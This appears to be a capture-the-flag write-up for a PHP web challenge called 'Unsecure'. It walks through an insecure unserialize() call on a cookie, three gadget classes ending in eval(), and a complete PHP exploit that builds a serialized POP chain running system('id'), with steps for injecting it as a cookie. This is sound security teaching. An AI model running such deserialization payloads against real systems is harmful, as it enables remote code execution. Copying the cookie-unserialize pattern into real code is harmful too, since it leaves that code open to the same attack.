Unsecure (web)
For this challenge, we were provided with source code (dockerize). You also can download it here.
Overview
🚧 Description : Do you know what “unserialize” means? In PHP, unserialize is something that can be very dangerous, you know? It can cause Remote Code Execution. And if it’s combined with an autoloader like in Composer, it can use gadgets in the autoloaded folder to achieve Remote Code Execution.
Based on the source code, the challenge is pretty straight forward. On index.php file, it took user input from cookie and passed it to unserialize()
function.
// index.php
<?php
require("vendor/autoload.php");
if (isset($_COOKIE['cookie'])) {
$cookie = base64_decode($_COOKIE['cookie']);
unserialize($cookie);
}
echo "Welcome to my web app!";
Since the application blindly passed user input to unserilize()
function, this will lead to deserialize vulnerability. Once we identify the source, now lets find the sink for gadget chain. Based on file provided, there were three additional files which are GadgetOne/Adders.php
, GadgetTwo/Echoers.php
and GadgetThree/Vuln.php
. Based on the file name, maybe GadgetThree/Vuln.php
is the sink.
// GadgetOne/Adders.php
<?php
namespace GadgetOne {
class Adders
{
private $x;
function __construct($x)
{
$this->x = $x;
}
function get_x()
{
return $this->x;
}
}
}
// GadgetTwo/Echoers.php
<?php
namespace GadgetTwo {
class Echoers
{
protected $klass;
function __destruct()
{
echo $this->klass->get_x();
}
}
}
// GadgetThree/Vuln.php
<?php
namespace GadgetThree {
class Vuln
{
public $waf1;
protected $waf2;
private $waf3;
public $cmd;
function __toString()
{
if (!($this->waf1 === 1)) {
die("not x");
}
if (!($this->waf2 === "\xde\xad\xbe\xef")) {
die("not y");
}
if (!($this->waf3) === false) {
die("not z");
}
eval($this->cmd);
}
}
}
On GadgetThree/Vuln.php
, it has a magic method so called __toString()
and after several if statement, it call eval()
function. Unlike __wakeup()
and __construct()
, which always get executed if the object is created, the __toString()
method is invoked only when the object is treated as a string. For example, it can decide what to display if the object is passed into an echo()
or print()
function. On GadgetTwo/Echoers
, the class will echo class when it destructed. The class must have get_x()
function from the object, and get_x()
is exist on GadgetOne/Adders.php
. Before that, we need to set property of $klass
is accessable because it was private variable. This can be done using ReflectionClass
.
Once get the grasp the idea, here is the flow:
- Create
GadgetThree\Vuln
object - Create
GadgetOne\Adders
object and passGadgetThree\Vuln
object as a parameter - Create
GadgetTwo\Echoers
and set$klass
property to be acessible - Set
$klass
toGadgetOne\Adders
.
Exploit
<?php
namespace GadgetOne {
class Adders {
private $x;
function __construct($x) {
$this->x = $x;
}
}
}
namespace GadgetTwo {
class Echoers {
protected $klass;
}
}
namespace GadgetThree {
class Vuln {
public $waf1 = 1;
protected $waf2 = "\xde\xad\xbe\xef";
private $waf3 = false;
public $cmd = "system('id');";
}
}
namespace {
$GadgetThree = new GadgetThree\Vuln();
$GadgetOne = new GadgetOne\Adders($GadgetThree);
$GadgetTwo = new GadgetTwo\Echoers();
$reflectionClass = new ReflectionClass($GadgetTwo);
$reflectionProperty = $reflectionClass->getProperty("klass");
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($GadgetTwo, $GadgetOne);
$serialized = base64_encode(serialize($GadgetTwo));
echo $serialized."\n";
}
After generating the encoded payload, create cookie named cookie
using devtools(or any plugin) and set it to our encoded value. You will see the command will be executed after the page refreshed.